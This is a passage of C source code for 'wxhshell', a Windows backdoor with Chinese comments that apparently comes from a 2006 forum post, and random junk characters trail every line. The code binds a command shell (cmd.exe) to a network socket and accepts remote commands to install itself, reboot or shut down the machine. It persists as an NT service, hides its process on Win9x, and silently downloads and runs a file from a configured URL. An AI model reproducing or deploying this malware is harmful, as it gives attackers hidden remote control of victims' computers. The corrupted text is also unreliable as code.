  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;ml;{<jI  
  else )up!W4h6o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z=Oo%lM6B  
  } }>w;(R  
  else { #n'tpp~O  
\DE`tkV8  
    switch(cmd[0]) { j_?U6$xi  
  uL!{xuN  
  // 帮助 hNV" {V3`{  
  case '?': { g=;c*{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7ST[XLwt%}  
    break; TCSm#?[B  
  } m(Cn'@i`"0  
  // 安装 $ #C$V>  
  case 'i': { ) tGC&l+?/  
    if(Install()) o(. PxcD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JeJc(e  
    else =^P<D&%q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J}coWjw`q  
    break; ]OoqU-q  
    } _AQ :<0/#  
  // 卸载 :CN,I!:  
  case 'r': { hIw<gb4J%  
    if(Uninstall()) qPpC)6-Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j0k"iv  
    else >Z?3dM~[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AO9F.A<T5  
    break; X.,1SYG[  
    } L!-@dz  
  // 显示 wxhshell 所在路径 4b8!LzKS  
  case 'p': { M[0@3"}}  
    char svExeFile[MAX_PATH]; w*ig[{ I  
    strcpy(svExeFile,"\n\r"); Got5(^'c  
      strcat(svExeFile,ExeFile); V&DS+'P  
        send(wsh,svExeFile,strlen(svExeFile),0); Gt[!q\^?  
    break; EeKEw Sg  
    } r}P{opn$t  
  // 重启 f;6a4<bz  
  case 'b': { J%3%l5 /  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z^AACKME  
    if(Boot(REBOOT)) i`Es7 }  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }`yIO"{8n  
    else { MOyQ4<_  
    closesocket(wsh); un[Z$moN"  
    ExitThread(0); #5T+P8  
    } +"a . ,-f!  
    break; ~) }npS;  
    } D:llGdU#2  
  // 关机 j]6j!.1  
  case 'd': { ocy fU=}X  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X LPO_ tD  
    if(Boot(SHUTDOWN)) "!gd)^<e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^zQ;8)ng  
    else { U]fE(mpI9  
    closesocket(wsh); pHY~_^B4&  
    ExitThread(0); R{3f5**0  
    } jGEUl=W  
    break; )5Kzq6.  
    } &|H?J,>  
  // 获取shell V2%FWo|  
  case 's': { W\zg#5fmK  
    CmdShell(wsh);  x9 <cT'  
    closesocket(wsh); ]]+wDhxH  
    ExitThread(0); :a3Pnq$]E  
    break; 5A /G?  
  } mz[rB|v"/7  
  // 退出 w/N.#s^  
  case 'x': { G;FY2;adK  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q?&vV`PG5  
    CloseIt(wsh); Tm@mk  
    break; (eN\s98)/  
    } 0,nDyTS^  
  // 离开 ]xA;*b;| h  
  case 'q': { 5>q|c`&}E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); u%#bu^4"  
    closesocket(wsh); DPi%[CRH  
    WSACleanup(); ;]MHU/  
    exit(1); $r9Sn  
    break; H(!)]dO  
        }  8OZc:/  
  } U=p,drF,A  
  } [a 5L WW  
NZ'S~Lr   
  // 提示信息  OR4!73[I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J \1&3r|R  
} eM+]KG)}  
  } xe2Ap[Y'M  
|Z$heYP:w  
  return; "a;JQ:  
} k#ED#']N  
Q! ]  
// shell模块句柄 8\`]T%h  
int CmdShell(SOCKET sock) 4)-LlYS_d<  
{ ;p/RS#  
STARTUPINFO si; G1vWHa7n;f  
ZeroMemory(&si,sizeof(si)); *\I?gDON  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; myFj w@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z= dEk`  
PROCESS_INFORMATION ProcessInfo; Txfu%'2)e  
char cmdline[]="cmd"; ZyT9y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m ,)4k&d  
  return 0; "kz``6C  
} q/?#+d  
W sQo+Ua  
// 自身启动模式 7Xm pq&g  
int StartFromService(void) "Nn/vid;  
{ .#6Dad=S*  
typedef struct P6zy<w  
{ WL7R.!P  
  DWORD ExitStatus; 6?Rm>+2>v  
  DWORD PebBaseAddress; 'u{m37ZJ  
  DWORD AffinityMask; *n N;!*J  
  DWORD BasePriority; uv}[MXOP  
  ULONG UniqueProcessId; ,+KZn}>  
  ULONG InheritedFromUniqueProcessId; s$:F^sxb  
}   PROCESS_BASIC_INFORMATION; pRD8/7@(B{  
 "C B*  
PROCNTQSIP NtQueryInformationProcess; \('8 _tqI"  
( N~[sf?&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +y>D3I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; eR D?O  
A /,7%bB1  
  HANDLE             hProcess; wZ,9~P 7  
  PROCESS_BASIC_INFORMATION pbi; ^vLHs=<  
q[nX<tO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .KGW#Qk8  
  if(NULL == hInst ) return 0; _0 USe  
(01M0b#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~C{d2i  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~#&bDot  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +g<2t,  
*{P"u(K  
  if (!NtQueryInformationProcess) return 0; ,o]"G[Jk  
v-3In\T=^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >o>r@;  
  if(!hProcess) return 0; 4WG~7eIgy  
!uii|"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @3K)VjY7  
5u MP31  
  CloseHandle(hProcess); (!&cfabL  
_y#t[|}w  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p-GlGEt_X  
if(hProcess==NULL) return 0; -]~&Pi|  
#{1w#Iz;  
HMODULE hMod; @mW: FVI  
char procName[255]; aIpDf|~  
unsigned long cbNeeded; D:e9609  
j` 9pZAF  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); '`#2'MXG  
^1BQejD  
  CloseHandle(hProcess); u{,e8. Z  
q%w\UAqA  
if(strstr(procName,"services")) return 1; // 以服务启动 3gaijVN  
xN:ih*+,v  
  return 0; // 注册表启动 DKAqQ?fS  
} !krbGpTVH  
ce\]o^4  
// 主模块 p3`'i  
int StartWxhshell(LPSTR lpCmdLine) b{=2#J-  
{ 8 qt,sU  
  SOCKET wsl; iv2did4  
BOOL val=TRUE; "GEJ9_a[  
  int port=0; h!?7I=p~#  
  struct sockaddr_in door; N0oBtGb  
;"hED:z6%  
  if(wscfg.ws_autoins) Install(); +u#;k!B/>  
,OsFv}v7  
port=atoi(lpCmdLine); YgNt>4K  
^]3Y11sI  
if(port<=0) port=wscfg.ws_port; ^\Nsx)Y;  
Cb7f-Eag  
  WSADATA data; G4vXPx%a8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; K4YpE}]u  
'due'|#^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   UM(tM9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r j#K5/df  
  door.sin_family = AF_INET; vcy}ZqWBO  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); NDEltG(  
  door.sin_port = htons(port); .$y}}/{j?[  
d&4]?8}=.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w7cciD|  
closesocket(wsl); +VkhM;'"C  
return 1; ?D]4*qsIlu  
} tI0d!8K  
1T a48  
  if(listen(wsl,2) == INVALID_SOCKET) { `9n%Dy<  
closesocket(wsl); 9}Ud'#E  
return 1; uV!Ax *'  
} Z|K+{{C  
  Wxhshell(wsl); 1P:r=Rt/  
  WSACleanup();  AC@WhL  
o7)<pfif  
return 0; S#Tc{@e  
l)m\i_r:  
} lG/M%i  
\ce (/I   
// 以NT服务方式启动 :p0|4g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9>\P]:  
{ CpNnywDRwU  
DWORD   status = 0; ,f8<s-y4Sg  
  DWORD   specificError = 0xfffffff; YQ9@Dk0R  
?Y7'OlO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; q(4W /y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z{s&myd  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; '^)Ve:K-.  
  serviceStatus.dwWin32ExitCode     = 0; w?)v#]<-  
  serviceStatus.dwServiceSpecificExitCode = 0; 6ziiV _p  
  serviceStatus.dwCheckPoint       = 0; l2QO\O I9m  
  serviceStatus.dwWaitHint       = 0; ]fvU}4!  
4nQk*:p(X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); i_Dv+^&zV  
  if (hServiceStatusHandle==0) return; /. GHR  
FtXd6)_S  
status = GetLastError(); }CnqJ@>C5  
  if (status!=NO_ERROR) R("g ]  
{ \>0%E{CR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 99w;Q 2k  
    serviceStatus.dwCheckPoint       = 0; QlmZBqK}&  
    serviceStatus.dwWaitHint       = 0; 9 ?a-1  
    serviceStatus.dwWin32ExitCode     = status; xdb9oH  
    serviceStatus.dwServiceSpecificExitCode = specificError; -Zx hh  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); AuuZWd  
    return; <7N8L  
  } KKP}fN  
f_a.BTtNO  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Pj9n`LwM  
  serviceStatus.dwCheckPoint       = 0; 8.FBgZh*  
  serviceStatus.dwWaitHint       = 0; /HbxY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $zS0]@Dj  
} 86igP  
~CiVLS H=  
// 处理NT服务事件,比如:启动、停止 }`#OA]NZ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _i{$5JJ+K2  
{ y`O !,kW  
switch(fdwControl) }1E'a>^|  
{ qu- !XC0p  
case SERVICE_CONTROL_STOP: wQbN5*82  
  serviceStatus.dwWin32ExitCode = 0; 2 g5Ft  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^HYmi\`  
  serviceStatus.dwCheckPoint   = 0; UQ6UZd37   
  serviceStatus.dwWaitHint     = 0; tZ,vt7  
  { u3)Oj7cX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ],CJSA!5F  
  } "S#4  
  return; ru[W?O"  
case SERVICE_CONTROL_PAUSE: 7 zo)t1H1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; vH/<!jtI  
  break; 37GJ}%Qs  
case SERVICE_CONTROL_CONTINUE: Ylbh_ d~BU  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; RU&,z3LEb  
  break; Gh}k9-L  
case SERVICE_CONTROL_INTERROGATE: ,0 +%ji^V  
  break; ~wG.'d]  
}; M,xhQ{eBY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !R*%F  
} i(R&Q;{E^  
q] g'rO'  
// 标准应用程序主函数 vJ5`:4n"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d'ddxT$GG  
{ ;AyE(|U+  
W/_=S+CvK  
// 获取操作系统版本 lg` Qi&  
OsIsNt=GetOsVer(); >;V ? s]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #U45H.Rz  
@V{s'V   
  // 从命令行安装 Tdtn-  
  if(strpbrk(lpCmdLine,"iI")) Install(); Y@x }b{3  
HDqPqrWm  
  // 下载执行文件 LDlj4>%pW^  
if(wscfg.ws_downexe) { VK\ Bjru9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "#bL/b'{  
  WinExec(wscfg.ws_filenam,SW_HIDE); [P,YW|:n  
} "q@OM f  
lr SdFJ%  
if(!OsIsNt) { {TT@Mkz_QC  
// 如果时win9x,隐藏进程并且设置为注册表启动 !u~h.DrvZ  
HideProc(); G8xM]'y  
StartWxhshell(lpCmdLine); sVP[7&vr~  
} lF-;h{   
else YT!QY@qw  
  if(StartFromService()) SN2X{Q|*  
  // 以服务方式启动 S~jl%]  
  StartServiceCtrlDispatcher(DispatchTable); ga0>J_  
else 0l-m:6  
  // 普通方式启动 ghvF%-."1  
  StartWxhshell(lpCmdLine); DVCO( fz  
,4dES|)sP  
return 0; ?"MJ'u  
}
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只看该作者 1 发表于: 2006-10-10
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